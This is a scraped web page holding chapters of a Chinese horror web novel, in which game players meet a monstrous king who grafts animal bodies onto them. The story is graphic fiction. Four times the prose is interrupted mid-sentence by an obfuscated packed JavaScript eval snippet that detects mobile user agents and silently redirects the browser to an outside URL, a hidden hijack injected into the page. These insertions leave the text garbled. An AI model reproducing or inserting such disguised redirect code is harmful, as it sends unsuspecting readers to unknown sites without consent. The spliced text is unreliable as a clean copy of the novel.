d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838943|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个叫祝予的女生已经捂着嘴低声啜泣了,赵秋拍着他的被安慰她。 “邓总,你怕吗?需要安慰不?”张龙凑到邓玲旁边,阴阳怪气地问到。 邓玲害怕,但她看见张龙那贱兮兮的表情就烦,冷着脸嘲讽:“我没张总胆子大,第二次进游戏怎么就跟回了公司一样自在呢。” “那不然呢?哭哭啼啼等领导安慰?咱们孙总也不会安慰我们呐。”张龙嗤到。 两人夹枪带棒的对话终于引起了赵秋二人的注意,赵秋抬眼看向张龙,张龙也毫不示弱地瞪了回去。 邓玲不想在这种危机四伏的场景里把队友变成敌人——上一个副本如果不是队友的话他们根本不可能轻松过关,因此邓玲下意识就想向祝予赵秋二人道歉,话还没说出口,赵秋那严肃的脸上就露出了一丝不好意思的笑容。 “见笑了各位,我太太胆子小,虽然经历了三个副本但还是怕鬼,这种生理性的害怕没法克服,多包涵。” “没有没有,赵总这么贴心的男人现在可不多见了。”孙德义怕张龙说出不好听的弄得两边下不来台,直接结果了赵秋的话头,不再给张龙说话的机会。 孙德义的态度明显,张龙也就没再多说什么,转头问一直被忽视的李彬刚刚发生了什么。 “我刚刚感觉到有……有人贴着我的背跑了过去,带起了一阵风。” 张龙:“我俩并排站着的我怎么没有感觉到?” “我怎么知道你为什么没感觉到?”李彬被张龙咄咄逼人的态度弄得有点火大,但也许是性格原因他还是回答了对方的问题,“可能是你注意力在其他地方吧。” “不是哦,是因为你的感知力不如他,你这具躯壳拖累了你,你察觉不到外物,也察觉不到危险,这躯壳最终可能会害死你。”猫头鹰男直挺挺的把歪着的头抬正,平视着张龙又开始语调温柔絮絮叨叨,“不过没关系,既然如今你来到我们伟大的国都了,我们尊敬的国王陛下会帮助你们的。” 张龙脸色铁青,猫头鹰男毫不在意,又弯下脖子看向李彬,语气温和:“当然,虽然你的感知力比他好那么一点点,但想在这个残酷的世界中生存下去还是在痴人说梦,别露出这种神情小伙子,你放心,只要来了我们的都城,国王陛下都会一视同仁帮助你们的。” 孙德义觉得眼前这人不是传销就是邪教,三句话不离所谓的“国王陛下”,估计下一秒就要提出带他们去见那位“陛下”进行洗礼还是什么的了。 果不其然,见他们没有回应,猫头鹰男直起了脖子直直看向他们身后,缓缓开口:“好了,不跟你们浪费时间了,我要赶去朝见了,有缘的话我们大殿再见。” ? 哦,欲情故纵罢了,等着他们主动上钩呢,七人显然都是这个想法,没有一个人开口挽留,看着他以来时的步伐走远,等着他装不下去了回头继续忽悠。 孙德义默默在心里数数。 六十 …… 一百二 …… 三百 …… 直到孙德义数到第一千二百下,猫头鹰男还是没有再次出现,沉默在七个人中间蔓延着——这跟他们平时受到的反诈教育不太一样啊。 所以,猫头鹰好像真的不在意他们有没有把自己的话听进去。 哦豁,他们好像也真的错过了一个完成副本的线索。 15. 楼梯(四) “现在怎么办?”孙德义一行人见猫头鹰男没有回来的可能了,便朝着他离开的方向走了几十米,窸窸窣窣的声音仍然偶尔在他们身边响起,但目之所及皆是没有任何参考物的荒芜,天空中那双巨大的眼睛依旧没什么规律的四处移动,根本无法辨别方向,众人只得无奈停下。 看着黑暗荒无但据说人烟充足的四周,孙德义犹豫着看向赵秋开口,希望他能像上个副本的沈逾白一样,在他们陷入困境的时候指出下一步的行动方向。 “不知道,走一步看一步吧。” 赵秋说是这样说,但他也知道现在的问题是他们根本不知道该往哪儿走,只得又不确定地补充了一句:“要不问问‘人’?” …… 确实,除了问‘人’或者是困死在这个地方之外没有其他的选择了,但是谁也不愿意当那个主动的人,毕竟,谁知道那些连看都看不到的‘人’到底是个什么东西呢? 沉默半晌,还是赵秋开口了,不过是冲着他之前很少搭理的李彬说的:“李彬,你试一下,看能不能建立起交流,刚刚那个鸟人不是说你的感知力比较强吗,你应该就是我们今天破局的关键,我们能不能顺利通关就靠你了。” 李彬听了这话脸煞白的脸上浮现出抗拒和焦虑,但最终并未拒绝,而是硬着头皮小声开口:“喂?有人吗?” 没有回答,李彬在赵秋的注视下只得继续自言自语,或许是因为过于害怕,物极必反,李彬渐渐地感觉不到心中的恐惧了,他的声音大了起来。 “请问有人吗?可以帮助我们吗?” “可以帮个忙吗?” …… “有——”终于,黑暗的深处传来了回声,几人神色一敛,望向李彬示意他继续。 “我们是从外面来的,想去拜见伟大的国王陛下,您可以给我们指个路吗?”李彬咽了咽口水,对着黑暗说道。 无人回应。 “你好?” “我们是诚心去拜见国王陛下的,帮我们一下吧?” 沉默再次蔓延开来,燃起的希望转瞬间便消失了,就在几人感到绝望准备放弃时,四面八方突然间响起了同一句话。 “外乡人,往最高处走——”男女老少的声音从四面八方传来,有些逐渐变大,也有一些说着说着声音就没了,跟恐怖片一样,听得孙德义几人鸡皮疙瘩直冒。 “最高处……是去朝见国王陛下的地方吗?” “是的——”无数不同的声音再次响起,其间还夹杂着几声不耐烦的抱怨“这些没用的外乡人,一个问题问无数遍,回答了也听不见,还得在他们附近或者快到附近的人去转述,真麻烦。” “外乡人都是这样的,所以不远万里跑来朝见咱们陛下呢。” ……麻烦的外乡人相顾无言。 “实在是不好意思……但是我们还有最后一个问题……我们看着这里是平地啊,最高处……在哪儿呢?”邓玲硬着头皮发问。 “啧——” “外乡人——转身——低头——” 几人迅速转过身,低头看去。 地面上,一股红色的液体从他们面对着的方向向他们蜿蜒下来,几人纷纷挪开脚步避免粘上这不明液体,不过液体流下来的地方应该就是高处了。 犹豫半晌,几人终于压下了心中抗拒,顺着液体往上走去。 - 几人在黑暗中走了很久,估摸着得有五六个小时,加上之前爬楼梯的时间,他们已经超负荷运动七八个小时了,虽然走得并不是很快,但中途也只偶尔停下来休息一下,加起来总工还不到一个多小时,现在又饿又渴又困,体力已经完全跟不上了。 但这还不是最要紧的,更让他们焦虑的是时间——他们的任务时间只有五天,一百二十个小时。 现在花了八个小时的时间,他们连任务是什么都没搞清楚,进游戏时遇到的那座旋转楼梯——如果要爬完整座楼梯才能完成任务,他们现在只爬了大概五分之一!而如果是从这个世界出去算完成任务,他们被困在这里已经半天了,毫无进展,甚至连看到的景象跟之前比起来都没有什么变化,所以他们最后真的能完成任务吗?虽然说游戏并不会死人,但是在上一轮游戏里他们因为没有完成任务都被游戏NPC追到现实里来了,谁知道这次会不会直接被困在副本里出不来呢?毕竟,被困在副本里的人也只是失踪而非死亡。 压抑的气氛在无声蔓延,最开始还兴致勃勃交换已通关副本信息的几人已经沉默地走了快一个小时了,张龙似是受不了这种压抑的氛围,拍了拍背着祝予走在他旁边的赵秋。 “赵总,我能问问您跟您夫人……是怎么认识的吗?” “这个呀,这就说来话长了。”赵秋转头望了眼已经趴在他肩上睡着了女生。 “那感情好,您慢慢说,反正我们不知道要走到什么时候去,说不定您的故事讲完了我们也就走到了。” 赵秋:“那时候小祝刚毕业,通过校招来了我们公司做科研助理。我认识她是一个偶然,那天她正加班加到在办公室崩溃大哭,我路过听到了,就想着进去看一下什么情况,一来二去就认识了。不过她当时很傲气,并不愿意跟我这种满身铜臭的商人有过多来往,我也倔,就这么一直缠着她。” 赵秋温柔的声音传进每一个人的耳朵,确实驱散了一些之前笼罩在他们心中的阴霾,众人听着故事,在天空中巨大双眼的注视下一步一步走向更深黑暗之中。 “后来嘛……” 后来的故事就像所有的出场人物都为主角谈恋爱服务的小说一样,祝予被公司同事欺负、赵秋为她出头;祝予遇上麻烦,赵秋找手下替她摆平;祝予需要锻炼,赵秋就拿公司谈下来的大项目给她练手……两人之间经历分分合合,最后祝予因为父母的离世备受打击,在这个脆弱的时候,她最终接受了一直以来陪伴在她身边的赵秋。 烂俗且混账,所有人和事、甚至连亲人的离世都成立两人爱情故事的催化剂。 “真浪漫,真感人。” 听完赵秋的讲述,大家都齐齐感叹,而赵秋像是听过无数次这类恭维一样熟练地谦虚道:“哪里哪里,我太太她值得。” 一时间几人气氛融洽,仿佛是在某个商业交流会的现场而非诡异的游戏副本里。 直到一言不发的李彬出声打断:“那是……什么?” 众人停下了闲谈跟着他的视线向前方望去——一栋庞大的建筑张牙舞爪地屹立在众人面前,像是童话故事中反派居住的古堡,点点灯光从古堡一扇扇的窗户中透出,隐约勾勒出古堡的形状。 古堡前围着许多……人,说是人也许并不准确,因为他们之中的大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838944|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分已经失去了人的基本特征——他们有的四肢被翅膀替代,有的长着动物的前肢,有的脑袋被巨大的复眼占据……跟他们相比,之前的猫头鹰男确实显得无比的像人。 这些奇形怪状的原住民原本十分安静围着古堡的大门张望,孙德义一行人发出的声音显然打破了这份安静,它们齐刷刷地转过脑袋看向他们。 …… 孙德义倒吸一口凉气,抓着张龙的胳膊强撑着没有腿软倒下去。两拨“人”相互打量着,那边的原住民率先打破了沉默,那边一个头顶长着触角把脖子扭了一百八十度的“女人”,一字一顿地僵硬着开口:“你、们、是、外、乡、人?” 孙德义:“是……是的,我们因为一些原因来到了你们的国都,你们的一位同胞指引我们过来拜见你们的国王陛下。” “这是、当然。每一个、到、我们国都、的人、都是为了、朝见日能见到、国王陛下。” 孙德义:“那么,请问我们要如何见到他呢?” “在这里、等着,排队、我们都等着、面见他呢。” - 在这些长相非常混搭的原住民的帮助下,几人在古堡的钱排起了队,看着一批一批的的混搭原住民虔诚地走进古堡,不久又兴高采烈地走出来结伴往古堡后后走去,孙德义等得无聊本想跟着那些出来的“人”一起去古堡后面看看的,但是被几个四肢肌肉发达的复眼男人拦住了,只好作罢,不过看他们的样子,孙德义估计他们是古堡的守卫。 看了半天这些原住民,孙德义也隐约了明白了些什么,这个国家应该是会为了适应生存环境将人与不同的动物进行改造,比如最开始那个有着猫头鹰眼睛的男人,他可以在这个不分昼夜的暗黑国都中视物行走,又比如他提到的那些隐藏在黑暗之中他们无法看见“人 ”,应该是为了安全将自己完全隐匿在了环境之中。 那么他说的什么“受洗”,什么“国王陛下会帮助你们”意味着什么也就不言而喻了。 孙德义将自己的想法告诉了其他人,想听一下他们有没有好的建议,但换来的只有祝予的抽噎声和张龙、钱又的牢骚,他很烦躁。 这三个老玩家里的两个除了呜呜呜就是不知道,唯一看上去正常一点的李彬,其实就是被这两人逼着在给他们当探路石,只会跟从指令做事脑子里其实啥也没有!也不知道赵秋这三个人是怎么过的前两个副本,难道全靠给游戏里的NPC秀恩爱吗? 在殿内响起的通传声中,排在他们前面的原住民进入了古堡大殿中,孙德义他们站到了古堡的大门前,等待着下一批进入古堡面见那位原住民翘首以盼的国王陛下。 “行了,别叽叽歪歪了,除了增加自己压力外还有什么用,不如想想一会儿怎么应对,是在没辙就给自己做做心理建设,别等会儿直接吓晕过去。”孙德义顿了一下,见他这话一说完祝予的表情更惊恐了,又烦躁的嘲了句:“而且这只是我的猜想,万一我们只是单纯来做客呢?” 说话间,一道苍老的通传声从古堡内传进了他们的耳朵“外乡人,你们可以进来朝见陛下了。” 随即,古堡大门打开,之前进去的原住民兴奋地走了出来,嘴里还在念叨着“感谢陛下”。殿内温暖的灯光和食物的香气通过打开的大门涌到他们的面前,引诱着饥肠辘辘精疲力尽的他们扎进古堡。 16. 楼梯(五) “外乡人,远道而来辛苦了。”殿内的王座上一位穿戴欧洲中世纪华丽服饰的男人看见他们进来后率先开口。 大殿内的光线来源是成百上千根的蜡烛,这些明明灭灭的光源汇集在高座在王座上的男人身上,影影绰绰地看不真切,孙德义只能按照身形判断那是一个青年男人,目前仅凭轮廓看起来是个正常人。 以孙德义为首的一行人站在下首,不太适应地摆出谦卑的神情,敛眉低首,邓玲主动揽过了沟通的任务:“您客气了,为了能见到您这点路途又算什么呢?” “嗬——”坐在高座的男人发出一声意味不明的笑,弄得邓玲一怔,心中暗道不好,正想出声解释什么却发现自己的嗓子已经发不出任何声音了,上方男人的声音继续传来,“外乡人,既然来到了我的地盘就要遵守我的规则,收起你们那虚伪的一套,我最讨厌撒谎的人了,如果做不到我不介意帮你们做到。” 邓玲身体突然开始发抖,身旁的钱又注意到他微微侧头,用眼神询问她发生了什么,邓玲指了指嗓子示意——她发不出声音了。 两人的小动作并没有逃过男人的眼睛,大殿中不知何处传来两声清脆的“叮铃”声,打断了两人:“好了,小惩大诫。诸位一路过来也辛苦了,先跟我到后殿用膳吧,有什么等吃完再说。” 国王一步步走下高台,转身去了后殿。 孙德义先是上前查看了一下邓玲的状况,见她除了不能说话外没什么大碍也就没有多停留,直接拉着她跟上了那位国王的步伐去往后殿——倒不是他冷血无情,主要是反正在游戏里面受的伤,出去以后都会好的,所以这也不是什么大事,就目前的情况来看还是完成任务比较要紧。 一行人小心翼翼地进到后殿,那位国王陛下正坐在一张长桌的主位喝着琉璃杯里的血红色液体。 众人坐下,靠近国王的两个位置留给了张龙和李彬,他们旁边是孙德义和赵秋,其他人依次坐在他们下首。 “请坐吧诸位,看看合不合你们的口味。” 直到这时,孙德义才敢微微抬起头观察这位传说中的国王陛下,但是第一眼他就被吓得冷汗直冒,这个清秀的男人看起来很年轻,眉眼柔和五官立体,从外貌上看并不像久居高位的统治者,反而像那些年轻小姑娘追的明星,但他看似正常的脸上却少了一只眼睛——准确的说是他右眼眼眶中没有眼球,取而代之的是不断变化的天空场景,上一秒还碧空如洗万里无云,下一秒就青烟缭绕雾气氤氲,时而是晚霞夕照,时而又是星罗棋布……这个世界的天空,在他的眼眶里。 那么,外面天空上一直注视着这片土地上发生的一切的那只眼睛是谁的,就不言而喻了。 除此之外,男人同一侧的耳朵,仔细看能发现也不是原本的了,只不过没有那么显眼,孙德义也是盯着看了半天才看出来,因为在他耳朵的位置被一个形状差不多浅褐色物体替代,高低起伏一眼看过去除了颜色有点深外跟耳朵没什么差别,“耳垂”上坠着几个五颜六色的挂坠像是耳钉;这个形似耳朵的东西上除了深浅不一的褐色外还分布着绿色、蓝色、灰色这些基本不可能出现在人类皮肤上的颜色……孙德义仔细打量,如果没猜错的话,这个东西刚好跟他眼睛里的天空相对应——这是刚刚他们走过的土地…… 想到这里孙德义不免感到一阵恶寒,天空中悬挂的是这位国王的眼睛,延绵千里的土地又是他的耳朵,那这整个世界不都在眼前这个男人的监视、监听之中?那他们后续完成那暂时不知道是什么的任务必定也会被监控,这还有没有人权?算了,跟这个超自然的游戏谈什么人权呢…… 许是被众人直勾勾地盯得有点不开心了,首位的国王用力将手中的琉璃杯放在桌上,惊醒了孙德义,他道了声抱歉将目光转向桌上的食物,岔开话题向国王的热情宽带表示感谢,然后略过满桌子的大鱼大肉谨慎地夹起了角落里放着的绿色叶子。 “不好意思国王陛下,我三高,不能吃荤腥,浪费您的一片心意了。”孙德义抢先开口。 其他人:“……” 国王:“没有关系,您自便就好,我知道你们孱弱的身体总是给你会带来各种各样的负担,不过,你们不会都不能吃吧?” 其他人:“……” 他的表情看上去像是在说“如果你们不吃我就把你们吃了。” “能吃能吃,我最爱吃肉了。” - 一顿饭吃完,看上去宾主尽欢,不管吃得欢不欢,至少软凳很舒服,消除了孙德义他们走了几个小时的劳累。 几人再次跟随国王回到了前面的大殿,开始进入正题。 “你们到我这儿来的目的我知道,但是我只为我的臣民和信徒进行洗礼,你们一不是我的信徒,二不会成为我的臣民,那么我凭什么给你们洗礼呢?” “……”其实并没有很想被你洗。 “那您看……”钱又不情不愿地开口,给足了这位陛下面子和台阶。 “这样吧,你们辛苦来一趟也不容易,要受洗也行,我每为你们洗礼一次,你们要替我完成一件事,时间就以每次朝见日为界,若你们没有完成,下一次朝见日就不用来见我了,如何?” 孙德义:“感谢您的慷慨,我们一定会按实完成您交代的任务的,那么我们需要做的第一个任务是?” “我的宫殿里需要耗费的蜡烛太多了,作为一个仁慈的君主,我应该为国家节约资源,听说这个世界上有一种宝石,放在黑暗中可以发出照亮整个屋子的光芒,我曾派士兵出去寻找,但都无功而返了,聪明的外乡人,希望你们可以帮我找到这种宝石。” 照亮整个宫殿的宝石?孙德义抬头环顾了一下这个一层大概六七百平米的古堡……要不直接把他变成强光手电吧…… “怎么了?做不到吗?” 钱又:“没有!做得到!但是或许我们可以从英明的您哪儿获取更多一些的信息吗?您知道的,我们才到您的都城,还人生地不熟……” “好吧,据说这种宝石生长在海边的悬崖中,日日受海水冲刷、夜夜被月光照耀,所以发出的光如月光般温柔,如海水般蔚蓝,你们去海边,一定可以找到它的。” 众人:“……” 怪不得你找不到呢,这鬼地方哪儿还有月?哪儿还有海? “对了,考虑到你们目前出行困难,我特许你们在这次的任务开始前进行一次洗礼,当然你们别想着这次受洗过后就一走了之,在你们的完成任务之前,我保证你们离不开我的控制范围。” “那位胖子先生。”他竖着根手指点了点孙德义,无视了他脸上一闪而过的不满,“对,就是你,你的这幅身体将会严重拖累你们的行程,所以我将赐予你一副猎豹般矫健的身躯,你可以带着你的同伴在这片伟大的土地上自由奔跑,以最短的时间找到我所需要的。” “……感……感谢您。”孙德义胳膊和大腿不自觉痉挛,咬着牙压下了心中的恐惧,对那位“慷慨”的国王表达感激。 他又指向一直躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838945|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在赵秋身后的祝予:“那位一直哭哭啼啼的女士,虽然我不知道你到底在哭什么,但我觉得你需要坚强一点,所以我将赐予你如刺猬般锋利的防身武器,希望你可以保护自己保护你的同伴,扫除为我寻找宝石路途上遇到的危险。” “至于你,女士,我相信你已经认识到了错误,坚定地想亲手奉上宝石给我赔礼道歉,那么我会赐予你堪比岩羊的攀登能力,在陡峭的崖壁上如履平地,轻松获得那圣洁的发光宝石。” “长头发男士,我将赐予你一双即使是在殊方绝域也能听见同伴呼唤的双耳,帮助你们辨别大海的方位。” “至于你们,噢差点忘记了。”他又移动手指对着李彬和张龙二人,“我赐予你们一双鹰隼般的双瞳,以便发现那深埋在崖壁中的珍贵宝石。” “最后,你嘛……” 高位上的男人语气犹豫,似乎是想不出来这个临时的“寻宝”团队还差什么样的技能,缓缓转动眼珠,看得钱又心惊胆战,为了保住自己的身体器官,他深吸一口气突然出声。 “尊敬的国王陛下,我可以放弃这次宝贵的受洗机会换一个请求吗?” 掌握着别人器官的男人似乎对这种少见的请求很感兴趣,抬了抬下巴示意他继续说。 “如果,我是说如果,如果我们未能在下个朝见日前找到您要的宝石,可以允许我们在接受惩罚前亲吻您的双手吗?我们只是想表达一下我们对您的歉意。当然如果不行的话您就当我没有说过。” 钱又这番话说的出乎了众人的预料,他们纷纷诧异地看向他,想知道他在搞什么鬼,就见他敛眉正色,十分恭敬的低着头等待国王的答复。 长久的沉默最终被高座上的一声“可以”打破,钱又紧绷的身体瞬间放松下来,众人皆是一愣,尤其是邓玲更是满脸震惊——凭什么?她到现在还不能说话呢!难道钱又说的话不虚伪吗?就这么轻易同意了? 不论钱又的话虚不虚伪,事情都这样定下来了,那位国王已经合上了他的眼眶,抬手示意他们可以离开了。 “请外乡人跟随宫殿守卫至偏殿完成受洗仪式。”在门外听到过的声音又突兀地响起,回荡在空荡荡的大殿中,几人身后的古堡大门已经被打开,他们后知后觉的对即将要经受的事情感到害怕,一点一点挪动着脚步走向等待在门口的几个肌肉虬扎的守卫。 再次踩上外面的“土地”时每个人的心情都十分复杂,小腿都有一种发麻的感觉。 张龙朝四周看了看,凑近邓孙德义低声音问:“孙总,你说一个世界的天空和大地都消失了的话,天空上的云、宇宙中的日月星辰、大地上的山川河海、花草植被还会存在吗?” “不会。” “那你说,这些东西都不存在的话,人还能活吗?” “客观上可能是活不了的。”孙德义顿了顿:“但我们现在不是活着吗?” 随着孙德义话音的落下,古堡大门砰的一声关上了,烛火被隔绝在了门后。 从灯火通明的殿内再次回到黑暗之中,几人都还不太适应,只能看见四个守卫凑了过来将他们围住,带着往古堡的后面走去。 邓玲的嗓子在踏出古堡大门时就恢复了,正低声和钱又抱怨着那位皇帝陛下的不公;祝予的啜泣声和赵秋喋喋不休的安慰声传进孙德义的耳朵里,听得他烦躁不已,他的脑子飞速思考着,想找到什么方法来逃过这一劫,但一直到他走到那座被叫做“偏殿”的只有两层的缩小版古堡前,脑子里仍是一片空白。 17. 楼梯(六) 许是几人在门口发呆的时间太长,两个四肢似黑猩猩般发达的守卫十分不耐烦地将他们推进了偏殿的大门,突如其来的动作吓得几人忍不住骂出了声,等他们站稳并缓过神来的时候身后的大门再一次关上了。 偏殿跟正殿的烛火通明不一样,这里面只有点了七八根蜡烛,仅能照亮偏殿大门对着的几扇弧形排列的浮雕门。孙德义一行人站在黑暗中,看着中间的七扇小门缓缓朝内打开,露出黑洞洞的房间。 刚好七扇门,这是让他们一人一间的意思,但是没人敢轻举妄动,孙德义抬起手肘碰了下身边的钱又,压低声音让他先过去看看是什么情况,钱又本能地拒绝了。 邓玲在一旁听着有些恼火,也用气声质疑道:“你在怕什么?他不是答应你了吗?至少现在来看你是我们中最安全的,作为团队的一员你难道不该出力吗?” “邓总,你这套对我没用,我没有那么高的道德感,既然是团队的任务就没有让一个人牺牲的道理。” “你,啊——”邓玲话还没说完就发出一声尖叫,随后便再没了声响,其中一个房间的浮雕小门也砰地关上了。 这一变故使得本就紧张的孙德义顿时绷紧了身体,戒备地盯着那扇紧闭的房门,生怕又突然打开窜出一个变异的怪物。 恍惚间,似乎有一道影子从他的余光中掠过,在他还没来得及反应时,冰凉黏腻缠上了他的腰腹,他感觉到自己被拉拽着腾空了,眼前闪过其他人或惊恐或崩溃的脸,耳旁是呼呼作响的气流,孙德义不知道自己有没有像邓玲一样尖叫出声,或许是没有的,因为他觉得自己根本来不及张开嘴巴便被固定在了一张铁制小床上。 手脚和腰腹都被冰凉的类似章鱼触手的东西固定,唯一庆幸的是这次的“触手”不像之前他在深渊下面遇到的那个一样会啃噬他的皮肉。在没有一丝光亮的空间里,孙德义的嗅觉和听觉变得异常灵敏,他闻到一股浓烈的血腥味在这个房间的每一个角落,听到身边传来熟悉而又细微的窸窣声以及—— “嘎吱” “嘎吱” 像是生锈的剪刀剪在橡皮筋上的声音,也像是他在上个副本听到过的——砍刀割破生物筋膜的声音。 孙德义被迫躺在铁床上,不敢发出声音也不敢挣扎,生怕引起了身旁那东西的注意,但即便他已经小心到连生理性的战栗都努力压制了,但该来的总是逃不掉——在伸手不见五指的黑暗中,孙德义听到那窸窸窣窣的声音停在了床的旁边,他能感觉到一道炽热的视线正在来回打量着他,那东西散发出的冰凉气息甚至直直贴上了他裸露在外的皮肤。 “咔哒” 金属碰撞的声音伴随着铁床的震动一起向孙德义发出预警,他一激灵,随即便不管不顾地挣扎起来,手腕缠着的触手被挣开了一点空隙,眼见有逃生的希望孙德义挣动得更加卖力,求生本能和飙升的肾上腺素导致他忽视了手腕处传来的疼痛以及那坚硬的触感。 待他反应过来捆缚住他的触手已经变为薄薄的钢刃时,四肢和腰腹部早已鲜血淋漓。 孙德义不敢再动,只咬着牙紧闭双眼缓解疼痛,但边上那个看了半天的热闹的东西似乎对他的反应并不满意,又再次将那不知是什么的金属物体敲在铁床上,这次的声音比刚刚大了一倍,孙德义被吓得一抖,但终是没在像之前那样做无谓的挣扎。 他的反应让旁边的东西大失所望,它拉开了跟孙德义的距离,猛地抬起手随后又迅速朝着孙得意的脖颈处落下。 “咔哒——”孙德义的耳旁被带起来的两道气流,接着他就感觉到床板的震动以及……他的头和身体似乎被一分为二了。 疼痛后知后觉地袭来,虽然身体已经不在了,但孙德义却还能感觉到疼痛,他的四肢、腰腹以及脖颈,全都在痛!他不知道在现实的世界里人砍掉头颅后是否会向他一样有知觉、有意识,如果有的话这种知觉和意识又会存在多久,但是这是他第一次希望自己赶快死去,总好过在这里忍受头身分离的痛苦。 生理的疼痛和心里的恐惧让一直压抑自己的孙德义再也忍不住了,他放声大叫了起来,寄希望于大声的叫喊能够止住躯干的疼,亦或是让身边那个怪物厌烦他直接杀死他。 那东西又开始发出窸窸窣窣的声音了,孙德义感觉到额头位置被一个柔软的触手卷着固定住了,接着一个重物被扔在了铁床上与孙德义的身子撞在一起,发出沉闷的声响。 孙德义努力睁大眼睛想看清楚这个长着触手的到底是什么东西,但并未能成功,人在寻常的黑暗里呆的时间长了是可以适应并看清楚近处的景象的——就像他们之前在外面一样。但在这个诡异的房间内,孙德义像是被剥夺了视觉功能,他什么也看不见,只能感受到他的头颅正被触手卷着慢慢朝刚刚发出响动的地方移动。 人被砍头后脖子的创面能感受到例如地面、皮肤的触感吗?这是孙德义很小的时候看一个电视时反复思考的问题,电视讲主要的是什么他已经记不得了,但里面主角动不动就把头取下来用手托着的画面他一直没忘,他那时问过舅舅“脑袋能不能感觉到手正抱着它”,舅舅只让他不要想些有的没的。现在他终于知道这个问题的答案了——可以,或者说是他可以。 温热的皮肉贴上了孙德义脖颈的创面,他甚至能感受到那皮肉正滋滋往外冒着血,血液飞溅在眼皮上跟他自己的混在了一起,顺着眼角和太阳穴滑下,滴落在床板上。 另一只触手缠上了两个拼合在一起的断口,力气大到仿佛要把两个创面的血肉糅在一起。 它确实成功了。 孙德义渐渐地感受不到躯干的疼痛了,脖颈处的疼也减轻了很多,微微发着热。 又过了大概三五分钟,任何疼痛都不存在了,他甚至感觉到自己充满了力量,他试着伸手扯那束缚在他额头的触手,仅一下,触手就发出来皮肉撕裂的声音,鲜血滴在了孙德义的嘴角,脸上的眼泪还未干,但孙德义却神经质地大笑起来——那位国王说他的身体是一个拖累,原本孙德义听了很不高兴,但此时他才明白,原来真正强有力的身体是这样的! 又有新的触手缠了上来,孙德义开始手脚并用地挣扎,扑按、踢打、撕扯……渐渐地触手数量越来越多,孙德义也越打越熟练,他靠着强劲的腰腹力量挣脱了触手的控制,以猫科动物捕猎才会有的姿势匍匐在铁床上警惕地听着黑暗中的响动,然后准确地找到作怪的触手并撕烂它。 终于,触手不再出现,孙德义喘着粗气又等待了十来分钟,确认确实安全后才终于放松下来,直到这时他才终于意识到自己姿势的怪异。 “我将赐予你一副猎豹般矫健的身躯……”国王的话回荡在他的耳边,所以……他现在的身体其实是猎豹的?他的头被组合在了猎豹的身体上?他们之前在外面看到的那些原住民,虽然长相诡异但还都维持着基本的人形,他准备好了自己可能会被换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838946|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉四肢,或者是换一个强健的心脏,这些他都可以接受,因为那样至少看起来还是个人!但是现在呢?他只有一个头是自己的,那么他还是他吗? 孙德义心里不太舒服,但也没在这个问题上过多的纠结,反正从这里出去以后就会恢复原样的,而且其他人应该都是一样的,维持五天而已也不是什么大事,况且在这个诡异的世界里,这幅身躯确实可以帮上他的忙。 他用四条陌生的腿不甚熟悉地在屋子里来回走着,想先习惯一下做一只两条腿走路的猫,但是失败了——也许是这具猎豹身体原本的习惯,就像他的大脑在感知到自己毛绒绒的爪子和尾巴后仍坚定地认为自己是人一样。 纠结了不到一分钟孙德义就接受了自己必须用腿和手一起走路的现实,凭感觉踱步到房间的小门前,门像是感应到了他的存在一样自动朝内打开了,门口立着的烛光穿过黑暗打在了孙德义黄黑相间的前爪上,孙德义下意识地缩了缩脚,其他人已经聚集在了刚刚站立的地方,说话声传进了孙德义的耳朵。 “它把我的腿砍了,然后喂给了那头羊!那羊就在我耳边嘎吱嘎吱地嚼着我的腿!等羊吃完了,它就把羊头也砍了然后把羊的身体安在了我的腰上,我就变成现在这幅鬼样子了!要我说我们就不该接受那个国王说的话,就像钱又一样,他肯定不用经历这恶毒的一切!”这是腰部以下双腿变成四条岩羊腿的邓玲,因为岩羊的身体出现在了她的下半身,所以她现在不得不身体前倾姿态怪异地站在那里讲述自己遇到的事。 